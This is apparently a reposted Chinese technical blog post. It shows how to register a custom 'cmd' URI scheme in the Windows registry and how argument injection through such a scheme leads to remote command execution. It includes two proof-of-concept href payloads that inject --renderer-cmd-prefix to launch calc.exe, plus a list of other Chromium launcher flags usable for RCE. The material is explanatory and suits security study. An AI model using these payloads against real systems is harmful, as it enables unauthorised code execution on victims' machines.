URI Scheme註冊偽協議實現遠端命令執行
阿新 • • 發佈:2018-12-31
Windows配置登錄檔註冊偽協議
1、新建偽協議項
WIN+R 輸入regedit 開啟登錄檔,在登錄檔HKEY_CLASSES_ROOT鍵中新建一個項,項的名字就是你偽協議的名字,例如我註冊一個cmd協議。
然後不用管預設字串值,新建一個叫URL Procotol的字串值,值為空即可。
2、新建shell項
在cmd協議項中新建一個項 , 叫做shell,這個名稱不能改。預設字串值為空
3、新建open項
在shell項中新建一個項 , 叫做open,這個名稱不能改。預設字串值為空
4、新建command項
在open項中新建一個項 , 叫做command,這個名稱不能改。預設字串值為可執行檔案路徑和引數等
遠端命令執行漏洞
根據這個地方的引數引號閉合情況去構造payload,類似SQL注入
- 是%1 則payload:href='cmd://123 --renderer-cmd-prefix="cmd.exe /c start calc.exe" '
- 要是“%1”則payload:href='cmd://123" --renderer-cmd-prefix="cmd.exe /c start calc.exe '
效果(備註這裡需要使用IE核心測試):
其他引起RCE的引數如下:
- --renderer-cmd-prefix
- --gpu-launcher
- --utility-cmd-prefix
- --ppapi-plugin-launcher
- --nacl-gdb
- --ppapi-flash-path
- --ppapi-flash-args